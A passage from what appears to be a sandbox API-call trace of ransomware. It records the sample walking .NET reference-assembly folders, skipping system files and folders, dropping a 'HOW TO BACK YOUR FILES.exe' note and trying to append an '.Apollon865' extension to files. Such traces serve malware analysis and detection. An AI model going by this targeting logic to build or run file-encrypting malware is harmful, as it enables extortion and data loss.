	[0052.539] lstrlenW (lpString="System.Data.Linq.dll") returned 20
	[0052.539] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Services.Client.dll" | out: lpString1="System.Data.Services.Client.dll") returned="System.Data.Services.Client.dll"
	[0052.539] lstrlenW (lpString="System.Data.Services.Client.dll") returned 31
	[0052.539] lstrlenW (lpString="Apollon865") returned 10
	[0052.539] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0052.539] lstrlenW (lpString=".dll") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Client.dll", lpString2=".dll") returned 1
	[0052.539] lstrlenW (lpString=".lnk") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Client.dll", lpString2=".lnk") returned 1
	[0052.539] lstrlenW (lpString=".ini") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Client.dll", lpString2=".ini") returned 1
	[0052.539] lstrlenW (lpString=".sys") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Client.dll", lpString2=".sys") returned 1
	[0052.539] lstrlenW (lpString="System.Data.Services.Client.dll") returned 31
	[0052.539] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Services.Design.dll" | out: lpString1="System.Data.Services.Design.dll") returned="System.Data.Services.Design.dll"
	[0052.539] lstrlenW (lpString="System.Data.Services.Design.dll") returned 31
	[0052.539] lstrlenW (lpString="Apollon865") returned 10
	[0052.539] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0052.539] lstrlenW (lpString=".dll") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Design.dll", lpString2=".dll") returned 1
	[0052.539] lstrlenW (lpString=".lnk") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Design.dll", lpString2=".lnk") returned 1
	[0052.539] lstrlenW (lpString=".ini") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Design.dll", lpString2=".ini") returned 1
	[0052.539] lstrlenW (lpString=".sys") returned 4
	[0052.539] lstrcmpiW (lpString1="System.Data.Services.Design.dll", lpString2=".sys") returned 1
	[0052.539] lstrlenW (lpString="System.Data.Services.Design.dll") returned 31
	[0052.539] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Data.Services.dll" | out: lpString1="System.Data.Services.dll") returned="System.Data.Services.dll"
	[0052.539] lstrlenW (lpString="System.Data.Services.dll") returned 24
	[0052.539] lstrlenW (lpString="Apollon865") returned 10
	[0052.540] lstrcmpiW (lpString1="rvices.dll", lpString2="Apollon865") returned 1
	[0052.540] lstrlenW (lpString=".dll") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Data.Services.dll", lpString2=".dll") returned 1
	[0052.540] lstrlenW (lpString=".lnk") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Data.Services.dll", lpString2=".lnk") returned 1
	[0052.540] lstrlenW (lpString=".ini") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Data.Services.dll", lpString2=".ini") returned 1
	[0052.540] lstrlenW (lpString=".sys") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Data.Services.dll", lpString2=".sys") returned 1
	[0052.540] lstrlenW (lpString="System.Data.Services.dll") returned 24
	[0052.540] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.DirectoryServices.AccountManagement.dll" | out: lpString1="System.DirectoryServices.AccountManagement.dll") returned="System.DirectoryServices.AccountManagement.dll"
	[0052.540] lstrlenW (lpString="System.DirectoryServices.AccountManagement.dll") returned 46
	[0052.540] lstrlenW (lpString="Apollon865") returned 10
	[0052.540] lstrcmpiW (lpString1="gement.dll", lpString2="Apollon865") returned 1
	[0052.540] lstrlenW (lpString=".dll") returned 4
	[0052.540] lstrcmpiW (lpString1="System.DirectoryServices.AccountManagement.dll", lpString2=".dll") returned 1
	[0052.540] lstrlenW (lpString=".lnk") returned 4
	[0052.540] lstrcmpiW (lpString1="System.DirectoryServices.AccountManagement.dll", lpString2=".lnk") returned 1
	[0052.540] lstrlenW (lpString=".ini") returned 4
	[0052.540] lstrcmpiW (lpString1="System.DirectoryServices.AccountManagement.dll", lpString2=".ini") returned 1
	[0052.540] lstrlenW (lpString=".sys") returned 4
	[0052.540] lstrcmpiW (lpString1="System.DirectoryServices.AccountManagement.dll", lpString2=".sys") returned 1
	[0052.540] lstrlenW (lpString="System.DirectoryServices.AccountManagement.dll") returned 46
	[0052.540] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Management.Instrumentation.dll" | out: lpString1="System.Management.Instrumentation.dll") returned="System.Management.Instrumentation.dll"
	[0052.540] lstrlenW (lpString="System.Management.Instrumentation.dll") returned 37
	[0052.540] lstrlenW (lpString="Apollon865") returned 10
	[0052.540] lstrcmpiW (lpString1="tation.dll", lpString2="Apollon865") returned 1
	[0052.540] lstrlenW (lpString=".dll") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Management.Instrumentation.dll", lpString2=".dll") returned 1
	[0052.540] lstrlenW (lpString=".lnk") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Management.Instrumentation.dll", lpString2=".lnk") returned 1
	[0052.540] lstrlenW (lpString=".ini") returned 4
	[0052.540] lstrcmpiW (lpString1="System.Management.Instrumentation.dll", lpString2=".ini") returned 1
	[0052.541] lstrlenW (lpString=".sys") returned 4
	[0052.541] lstrcmpiW (lpString1="System.Management.Instrumentation.dll", lpString2=".sys") returned 1
	[0052.541] lstrlenW (lpString="System.Management.Instrumentation.dll") returned 37
	[0052.541] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Net.dll" | out: lpString1="System.Net.dll") returned="System.Net.dll"
	[0052.541] lstrlenW (lpString="System.Net.dll") returned 14
	[0052.541] lstrlenW (lpString="Apollon865") returned 10
	[0052.541] lstrcmpiW (lpString1="em.Net.dll", lpString2="Apollon865") returned 1
	[0052.541] lstrlenW (lpString=".dll") returned 4
	[0052.541] lstrcmpiW (lpString1="System.Net.dll", lpString2=".dll") returned 1
	[0052.541] lstrlenW (lpString=".lnk") returned 4
	[0052.541] lstrcmpiW (lpString1="System.Net.dll", lpString2=".lnk") returned 1
	[0052.541] lstrlenW (lpString=".ini") returned 4
	[0052.541] lstrcmpiW (lpString1="System.Net.dll", lpString2=".ini") returned 1
	[0052.541] lstrlenW (lpString=".sys") returned 4
	[0052.541] lstrcmpiW (lpString1="System.Net.dll", lpString2=".sys") returned 1
	[0052.541] lstrlenW (lpString="System.Net.dll") returned 14
	[0052.541] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.ServiceModel.Web.dll" | out: lpString1="System.ServiceModel.Web.dll") returned="System.ServiceModel.Web.dll"
	[0052.541] lstrlenW (lpString="System.ServiceModel.Web.dll") returned 27
	[0052.541] lstrlenW (lpString="Apollon865") returned 10
	[0052.541] lstrcmpiW (lpString1="el.Web.dll", lpString2="Apollon865") returned 1
	[0052.541] lstrlenW (lpString=".dll") returned 4
	[0052.541] lstrcmpiW (lpString1="System.ServiceModel.Web.dll", lpString2=".dll") returned 1
	[0052.541] lstrlenW (lpString=".lnk") returned 4
	[0052.541] lstrcmpiW (lpString1="System.ServiceModel.Web.dll", lpString2=".lnk") returned 1
	[0052.542] lstrlenW (lpString=".ini") returned 4
	[0052.542] lstrcmpiW (lpString1="System.ServiceModel.Web.dll", lpString2=".ini") returned 1
	[0052.542] lstrlenW (lpString=".sys") returned 4
	[0052.542] lstrcmpiW (lpString1="System.ServiceModel.Web.dll", lpString2=".sys") returned 1
	[0052.542] lstrlenW (lpString="System.ServiceModel.Web.dll") returned 27
	[0052.542] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Abstractions.dll" | out: lpString1="System.Web.Abstractions.dll") returned="System.Web.Abstractions.dll"
	[0052.542] lstrlenW (lpString="System.Web.Abstractions.dll") returned 27
	[0052.542] lstrlenW (lpString="Apollon865") returned 10
	[0052.542] lstrcmpiW (lpString1="ctions.dll", lpString2="Apollon865") returned 1
	[0052.542] lstrlenW (lpString=".dll") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.Abstractions.dll", lpString2=".dll") returned 1
	[0052.542] lstrlenW (lpString=".lnk") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.Abstractions.dll", lpString2=".lnk") returned 1
	[0052.542] lstrlenW (lpString=".ini") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.Abstractions.dll", lpString2=".ini") returned 1
	[0052.542] lstrlenW (lpString=".sys") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.Abstractions.dll", lpString2=".sys") returned 1
	[0052.542] lstrlenW (lpString="System.Web.Abstractions.dll") returned 27
	[0052.542] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.DynamicData.Design.dll" | out: lpString1="System.Web.DynamicData.Design.dll") returned="System.Web.DynamicData.Design.dll"
	[0052.542] lstrlenW (lpString="System.Web.DynamicData.Design.dll") returned 33
	[0052.542] lstrlenW (lpString="Apollon865") returned 10
	[0052.542] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0052.542] lstrlenW (lpString=".dll") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.DynamicData.Design.dll", lpString2=".dll") returned 1
	[0052.542] lstrlenW (lpString=".lnk") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.DynamicData.Design.dll", lpString2=".lnk") returned 1
	[0052.542] lstrlenW (lpString=".ini") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.DynamicData.Design.dll", lpString2=".ini") returned 1
	[0052.542] lstrlenW (lpString=".sys") returned 4
	[0052.542] lstrcmpiW (lpString1="System.Web.DynamicData.Design.dll", lpString2=".sys") returned 1
	[0052.542] lstrlenW (lpString="System.Web.DynamicData.Design.dll") returned 33
	[0052.543] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.DynamicData.dll" | out: lpString1="System.Web.DynamicData.dll") returned="System.Web.DynamicData.dll"
	[0052.543] lstrlenW (lpString="System.Web.DynamicData.dll") returned 26
	[0052.543] lstrlenW (lpString="Apollon865") returned 10
	[0052.543] lstrcmpiW (lpString1="icData.dll", lpString2="Apollon865") returned 1
	[0052.543] lstrlenW (lpString=".dll") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.DynamicData.dll", lpString2=".dll") returned 1
	[0052.543] lstrlenW (lpString=".lnk") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.DynamicData.dll", lpString2=".lnk") returned 1
	[0052.543] lstrlenW (lpString=".ini") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.DynamicData.dll", lpString2=".ini") returned 1
	[0052.543] lstrlenW (lpString=".sys") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.DynamicData.dll", lpString2=".sys") returned 1
	[0052.543] lstrlenW (lpString="System.Web.DynamicData.dll") returned 26
	[0052.543] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Entity.Design.dll" | out: lpString1="System.Web.Entity.Design.dll") returned="System.Web.Entity.Design.dll"
	[0052.543] lstrlenW (lpString="System.Web.Entity.Design.dll") returned 28
	[0052.543] lstrlenW (lpString="Apollon865") returned 10
	[0052.543] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0052.543] lstrlenW (lpString=".dll") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.Entity.Design.dll", lpString2=".dll") returned 1
	[0052.543] lstrlenW (lpString=".lnk") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.Entity.Design.dll", lpString2=".lnk") returned 1
	[0052.543] lstrlenW (lpString=".ini") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.Entity.Design.dll", lpString2=".ini") returned 1
	[0052.543] lstrlenW (lpString=".sys") returned 4
	[0052.543] lstrcmpiW (lpString1="System.Web.Entity.Design.dll", lpString2=".sys") returned 1
	[0052.543] lstrlenW (lpString="System.Web.Entity.Design.dll") returned 28
	[0052.543] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Entity.dll" | out: lpString1="System.Web.Entity.dll") returned="System.Web.Entity.dll"
	[0052.543] lstrlenW (lpString="System.Web.Entity.dll") returned 21
	[0052.543] lstrlenW (lpString="Apollon865") returned 10
	[0052.543] lstrcmpiW (lpString1="Entity.dll", lpString2="Apollon865") returned 1
	[0052.543] lstrlenW (lpString=".dll") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Entity.dll", lpString2=".dll") returned 1
	[0052.544] lstrlenW (lpString=".lnk") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Entity.dll", lpString2=".lnk") returned 1
	[0052.544] lstrlenW (lpString=".ini") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Entity.dll", lpString2=".ini") returned 1
	[0052.544] lstrlenW (lpString=".sys") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Entity.dll", lpString2=".sys") returned 1
	[0052.544] lstrlenW (lpString="System.Web.Entity.dll") returned 21
	[0052.544] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Extensions.Design.dll" | out: lpString1="System.Web.Extensions.Design.dll") returned="System.Web.Extensions.Design.dll"
	[0052.544] lstrlenW (lpString="System.Web.Extensions.Design.dll") returned 32
	[0052.544] lstrlenW (lpString="Apollon865") returned 10
	[0052.544] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0052.544] lstrlenW (lpString=".dll") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.Design.dll", lpString2=".dll") returned 1
	[0052.544] lstrlenW (lpString=".lnk") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.Design.dll", lpString2=".lnk") returned 1
	[0052.544] lstrlenW (lpString=".ini") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.Design.dll", lpString2=".ini") returned 1
	[0052.544] lstrlenW (lpString=".sys") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.Design.dll", lpString2=".sys") returned 1
	[0052.544] lstrlenW (lpString="System.Web.Extensions.Design.dll") returned 32
	[0052.544] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Extensions.dll" | out: lpString1="System.Web.Extensions.dll") returned="System.Web.Extensions.dll"
	[0052.544] lstrlenW (lpString="System.Web.Extensions.dll") returned 25
	[0052.544] lstrlenW (lpString="Apollon865") returned 10
	[0052.544] lstrcmpiW (lpString1="nsions.dll", lpString2="Apollon865") returned 1
	[0052.544] lstrlenW (lpString=".dll") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.dll", lpString2=".dll") returned 1
	[0052.544] lstrlenW (lpString=".lnk") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.dll", lpString2=".lnk") returned 1
	[0052.544] lstrlenW (lpString=".ini") returned 4
	[0052.544] lstrcmpiW (lpString1="System.Web.Extensions.dll", lpString2=".ini") returned 1
	[0052.544] lstrlenW (lpString=".sys") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Web.Extensions.dll", lpString2=".sys") returned 1
	[0052.545] lstrlenW (lpString="System.Web.Extensions.dll") returned 25
	[0052.545] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Web.Routing.dll" | out: lpString1="System.Web.Routing.dll") returned="System.Web.Routing.dll"
	[0052.545] lstrlenW (lpString="System.Web.Routing.dll") returned 22
	[0052.545] lstrlenW (lpString="Apollon865") returned 10
	[0052.545] lstrcmpiW (lpString1="outing.dll", lpString2="Apollon865") returned 1
	[0052.545] lstrlenW (lpString=".dll") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Web.Routing.dll", lpString2=".dll") returned 1
	[0052.545] lstrlenW (lpString=".lnk") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Web.Routing.dll", lpString2=".lnk") returned 1
	[0052.545] lstrlenW (lpString=".ini") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Web.Routing.dll", lpString2=".ini") returned 1
	[0052.545] lstrlenW (lpString=".sys") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Web.Routing.dll", lpString2=".sys") returned 1
	[0052.545] lstrlenW (lpString="System.Web.Routing.dll") returned 22
	[0052.545] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Windows.Presentation.dll" | out: lpString1="System.Windows.Presentation.dll") returned="System.Windows.Presentation.dll"
	[0052.545] lstrlenW (lpString="System.Windows.Presentation.dll") returned 31
	[0052.545] lstrlenW (lpString="Apollon865") returned 10
	[0052.545] lstrcmpiW (lpString1="tation.dll", lpString2="Apollon865") returned 1
	[0052.545] lstrlenW (lpString=".dll") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Windows.Presentation.dll", lpString2=".dll") returned 1
	[0052.545] lstrlenW (lpString=".lnk") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Windows.Presentation.dll", lpString2=".lnk") returned 1
	[0052.545] lstrlenW (lpString=".ini") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Windows.Presentation.dll", lpString2=".ini") returned 1
	[0052.545] lstrlenW (lpString=".sys") returned 4
	[0052.545] lstrcmpiW (lpString1="System.Windows.Presentation.dll", lpString2=".sys") returned 1
	[0052.545] lstrlenW (lpString="System.Windows.Presentation.dll") returned 31
	[0052.545] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.WorkflowServices.dll" | out: lpString1="System.WorkflowServices.dll") returned="System.WorkflowServices.dll"
	[0052.545] lstrlenW (lpString="System.WorkflowServices.dll") returned 27
	[0052.545] lstrlenW (lpString="Apollon865") returned 10
	[0052.546] lstrcmpiW (lpString1="rvices.dll", lpString2="Apollon865") returned 1
	[0052.546] lstrlenW (lpString=".dll") returned 4
	[0052.546] lstrcmpiW (lpString1="System.WorkflowServices.dll", lpString2=".dll") returned 1
	[0052.546] lstrlenW (lpString=".lnk") returned 4
	[0052.546] lstrcmpiW (lpString1="System.WorkflowServices.dll", lpString2=".lnk") returned 1
	[0052.546] lstrlenW (lpString=".ini") returned 4
	[0052.546] lstrcmpiW (lpString1="System.WorkflowServices.dll", lpString2=".ini") returned 1
	[0052.546] lstrlenW (lpString=".sys") returned 4
	[0052.546] lstrcmpiW (lpString1="System.WorkflowServices.dll", lpString2=".sys") returned 1
	[0052.546] lstrlenW (lpString="System.WorkflowServices.dll") returned 27
	[0052.546] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Xml.Linq.dll" | out: lpString1="System.Xml.Linq.dll") returned="System.Xml.Linq.dll"
	[0052.546] lstrlenW (lpString="System.Xml.Linq.dll") returned 19
	[0052.546] lstrlenW (lpString="Apollon865") returned 10
	[0052.546] lstrcmpiW (lpString1="l.Linq.dll", lpString2="Apollon865") returned 1
	[0052.546] lstrlenW (lpString=".dll") returned 4
	[0052.546] lstrcmpiW (lpString1="System.Xml.Linq.dll", lpString2=".dll") returned 1
	[0052.546] lstrlenW (lpString=".lnk") returned 4
	[0052.546] lstrcmpiW (lpString1="System.Xml.Linq.dll", lpString2=".lnk") returned 1
	[0052.546] lstrlenW (lpString=".ini") returned 4
	[0052.546] lstrcmpiW (lpString1="System.Xml.Linq.dll", lpString2=".ini") returned 1
	[0052.546] lstrlenW (lpString=".sys") returned 4
	[0052.546] lstrcmpiW (lpString1="System.Xml.Linq.dll", lpString2=".sys") returned 1
	[0052.546] lstrlenW (lpString="System.Xml.Linq.dll") returned 19
	[0052.546] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList"
	[0052.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0052.546] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned 79
	[0052.546] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList"
	[0052.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.551] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.551] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37650af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.551] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.551] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.551] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.551] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37650af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.551] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.551] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.551] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.551] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.551] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2=".") returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="..") returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="windows") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="bootmgr") returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="temp") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="pagefile.sys") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="boot") returned 1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="ids.txt") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="ntuser.dat") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="perflogs") returned -1
	[0052.551] lstrcmpiW (lpString1="Client.xml", lpString2="MSBuild") returned -1
	[0052.551] lstrlenW (lpString="Client.xml") returned 10
	[0052.551] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*") returned 81
	[0052.551] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Client.xml" | out: lpString1="Client.xml") returned="Client.xml"
	[0052.551] lstrlenW (lpString="Client.xml") returned 10
	[0052.551] lstrlenW (lpString="Apollon865") returned 10
	[0052.552] lstrlenW (lpString=".dll") returned 4
	[0052.552] lstrcmpiW (lpString1="Client.xml", lpString2=".dll") returned 1
	[0052.552] lstrlenW (lpString=".lnk") returned 4
	[0052.552] lstrcmpiW (lpString1="Client.xml", lpString2=".lnk") returned 1
	[0052.552] lstrlenW (lpString=".ini") returned 4
	[0052.552] lstrcmpiW (lpString1="Client.xml", lpString2=".ini") returned 1
	[0052.552] lstrlenW (lpString=".sys") returned 4
	[0052.552] lstrcmpiW (lpString1="Client.xml", lpString2=".sys") returned 1
	[0052.552] lstrlenW (lpString="Client.xml") returned 10
	[0052.552] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml.Apollon865") returned 101
	[0052.552] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.552] GetLastError () returned 0x5
	[0052.552] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml MoveFileEx error 5\r\n") returned 119
	[0052.552] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml MoveFileEx error 5\r\n") returned 119
	[0052.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0052.552] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2158
	[0052.553] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x77, lpOverlapped=0x0) returned 1
	[0052.553] CloseHandle (hObject=0x15c) returned 1
	[0052.553] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.553] CloseHandle (hObject=0x0) returned 0
	[0052.553] CloseHandle (hObject=0x0) returned 0
	[0052.553] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37650af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37650af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.553] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
